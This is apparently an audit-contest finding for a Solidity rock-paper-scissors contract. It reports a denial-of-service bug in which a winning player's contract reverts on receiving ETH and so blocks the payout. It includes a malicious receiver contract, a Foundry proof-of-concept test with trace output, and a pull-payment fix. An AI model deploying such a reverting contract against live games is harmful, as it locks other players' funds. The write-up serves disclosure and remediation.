Rock Paper Scissors

First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

[H-1] Denial of Service via ETH Transfer Revert

Description:

The contract RockPaperScissors.sol attempts to transfer ETH to the winner of a game using a low-level call. If the _winner is a contract that reverts on receiving ETH (e.g., using a receive() function that reverts), the transaction fails and the logic reverts entirely:

(bool success,) = _winner.call{value: prize}("");
require(success, "Transfer failed");

This allows a malicious player to win a game and then block its resolution entirely by refusing the payout, causing the game to be stuck in a pending state indefinitely. This constitutes a Denial of Service (DoS) vector

So

If the _winner is an attacking contract, its receive() can do this:

receive() external payable {
revert("I don't want your ETH");
}

This results in:

  • call{value:} fails

  • success == false

  • require(success, ...) rolls back all execution

  • The game is not marked as over

  • Funds are stuck

  • No one can advance

Impact:

  • The game cannot be marked as finished.

  • No prize can be withdrawn.

  • Funds remain locked in the contract.

  • The DoS is fully reproducible and prevents normal game flow.

  • Admin has no override mechanism.

  • Critical game logic is tightly coupled with external code execution

Proof of Concept:

  • A test contract called RPS_DoS.t.sol has been created for the proof of concept.

  • To run the test, simply execute:

forge test --mt test_DoSOnWinnerPayout -vvvv
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/RockPaperScissors.sol";
/// @notice Attacking contract reverts upon receiving ETH
contract MaliciousPlayer {
receive() external payable {
revert("I refuse your ETH");
}
function getCommit() external pure returns (uint8 move, bytes32 salt, bytes32 commitment) {
move = 1; // Rock
salt = keccak256("malicious");
commitment = keccak256(abi.encodePacked(move, salt));
}
}
contract RockPaperScissorsDoSTest is Test {
RockPaperScissors public game;
WinningToken public token;
MaliciousPlayer public attacker;
address public honest = address(0xA1);
function setUp() public {
game = new RockPaperScissors();
token = game.winningToken();
attacker = new MaliciousPlayer();
// Allocate funds to both players
vm.deal(honest, 1 ether);
vm.deal(address(attacker), 1 ether);
}
function test_DoSOnWinnerPayout() public {
// Step 1: Honest player creates a game
vm.prank(honest);
uint256 gameId = game.createGameWithEth{value: 0.5 ether}(1, 10 minutes);
// Step 2: The attacker generates his commit
(,, bytes32 attackerCommit) = attacker.getCommit();
// Step 3: The attacker joins the game
vm.prank(address(attacker));
game.joinGameWithEth{value: 0.5 ether}(gameId);
// Step 4: Both commit
vm.prank(honest);
bytes32 saltHonest = keccak256("scissors");
bytes32 commitHonest = keccak256(abi.encodePacked(uint8(3), saltHonest)); // Scissors
game.commitMove(gameId, commitHonest);
vm.prank(address(attacker));
game.commitMove(gameId, attackerCommit);
// Step 5: Both reveal
vm.prank(honest);
game.revealMove(gameId, 3, saltHonest); // Scissors
// Attacker reveals and wins → an attempt is made to pay him → his contract is reverted → Transfer failed
vm.expectRevert("Transfer failed");
vm.prank(address(attacker));
game.revealMove(gameId, 1, keccak256("malicious")); // Rock
}
}

Output (-vvvv):

❯ forge test --mt test_DoSOnWinnerPayout -vvvv
Warning: This is a nightly build of Foundry. It is recommended to use the latest stable version. Visit https://book.getfoundry.sh/announcements for more information.
To mute this warning set `FOUNDRY_DISABLE_NIGHTLY_WARNING` in your environment.
[⠒] Compiling...
[⠆] Compiling 1 files with Solc 0.8.20
[⠰] Solc 0.8.20 finished in 14.69s
Compiler run successful!
Ran 1 test for test/RPS_DoS.t.sol:RockPaperScissorsDoSTest
[PASS] test_DoSOnWinnerPayout() (gas: 381969)
Traces:
[381969] RockPaperScissorsDoSTest::test_DoSOnWinnerPayout()
├─ [0] VM::prank(0x00000000000000000000000000000000000000A1)
│ └─ ← [Return]
├─ [184325] RockPaperScissors::createGameWithEth{value: 500000000000000000}(1, 600)
│ ├─ emit GameCreated(gameId: 0, creator: 0x00000000000000000000000000000000000000A1, bet: 500000000000000000 [5e17], totalTurns: 1)
│ └─ ← [Return] 0
├─ [350] MaliciousPlayer::getCommit() [staticcall]
│ └─ ← [Return] 1, 0x613994f4e324d0667c07857cd5d147994bc917da5d07ee63fc3f0a1fe8a18e34, 0x95d5a991cd6eef57626c991cc2d997728db28b2f9a1e8cd2277828e4ab2a4d6a
├─ [0] VM::prank(MaliciousPlayer: [0x2e234DAe75C793f67A35089C9d99245E1C58470b])
│ └─ ← [Return]
├─ [24919] RockPaperScissors::joinGameWithEth{value: 500000000000000000}(0)
│ ├─ emit PlayerJoined(gameId: 0, player: MaliciousPlayer: [0x2e234DAe75C793f67A35089C9d99245E1C58470b])
│ └─ ← [Return]
├─ [0] VM::prank(0x00000000000000000000000000000000000000A1)
│ └─ ← [Return]
├─ [47751] RockPaperScissors::commitMove(0, 0x5b2259b4e9b249588f0bf27d95d4bcc7030acc8a614c59d27d57007032701852)
│ ├─ emit MoveCommitted(gameId: 0, player: 0x00000000000000000000000000000000000000A1, currentTurn: 1)
│ └─ ← [Return]
├─ [0] VM::prank(MaliciousPlayer: [0x2e234DAe75C793f67A35089C9d99245E1C58470b])
│ └─ ← [Return]
├─ [46119] RockPaperScissors::commitMove(0, 0x95d5a991cd6eef57626c991cc2d997728db28b2f9a1e8cd2277828e4ab2a4d6a)
│ ├─ emit MoveCommitted(gameId: 0, player: MaliciousPlayer: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], currentTurn: 1)
│ └─ ← [Return]
├─ [0] VM::prank(0x00000000000000000000000000000000000000A1)
│ └─ ← [Return]
├─ [4375] RockPaperScissors::revealMove(0, 3, 0x389a2d4e358d901bfdf22245f32b4b0a401cc16a4b92155a2ee5da98273dad9a)
│ ├─ emit MoveRevealed(gameId: 0, player: 0x00000000000000000000000000000000000000A1, move: 3, currentTurn: 1)
│ └─ ← [Return]
├─ [0] VM::expectRevert(custom error 0xf28dceb3: Transfer failed)
│ └─ ← [Return]
├─ [0] VM::prank(MaliciousPlayer: [0x2e234DAe75C793f67A35089C9d99245E1C58470b])
│ └─ ← [Return]
├─ [39158] RockPaperScissors::revealMove(0, 1, 0x613994f4e324d0667c07857cd5d147994bc917da5d07ee63fc3f0a1fe8a18e34)
│ ├─ emit MoveRevealed(gameId: 0, player: MaliciousPlayer: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], move: 1, currentTurn: 1)
│ ├─ emit TurnCompleted(gameId: 0, winner: MaliciousPlayer: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], currentTurn: 1)
│ ├─ emit FeeCollected(gameId: 0, feeAmount: 100000000000000000 [1e17])
│ ├─ [160] MaliciousPlayer::receive{value: 900000000000000000}()
│ │ └─ ← [Revert] revert: I refuse your ETH
│ └─ ← [Revert] revert: Transfer failed
└─ ← [Return]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.09ms (218.16µs CPU time)
Ran 1 test suite in 593.43ms (1.09ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommended Mitigation:

Use the pull-payment pattern to avoid transferring ETH during game logic execution:

mapping(address => uint256) public pendingWithdrawals;
// Instead of sending ETH directly:
pendingWithdrawals[_winner] += prize;
function withdraw() external {
uint256 amount = pendingWithdrawals[msg.sender];
require(amount > 0, "Nothing to withdraw");
pendingWithdrawals[msg.sender] = 0;
(bool success,) = msg.sender.call{value: amount}("");
require(success, "Withdraw failed");
}

This ensures that even if a player refuses to accept ETH, the game logic proceeds normally and funds can still be withdrawn manually.

Classification:

  • Severity: High

  • Type: Denial of Service (SWC-113)

  • Reproducibility: Confirmed with Forge test

  • Mitigation: Available and well-documented

Conclusion: This issue poses a real risk to the integrity and availability of the RockPaperScissors protocol and should be addressed immediately.

Updates

Appeal created

m3dython Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Denial of Service (DoS) due to Unhandled External Call Revert

Malicious player wins a game using a contract that intentionally reverts when receiving ETH, the entire transaction will fail

m3dython Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Denial of Service (DoS) due to Unhandled External Call Revert

Malicious player wins a game using a contract that intentionally reverts when receiving ETH, the entire transaction will fail

freesultan Auditor
about 2 months ago
m3dython Lead Judge
about 2 months ago
m3dython Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

Denial of Service (DoS) due to Unhandled External Call Revert

Malicious player wins a game using a contract that intentionally reverts when receiving ETH, the entire transaction will fail

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.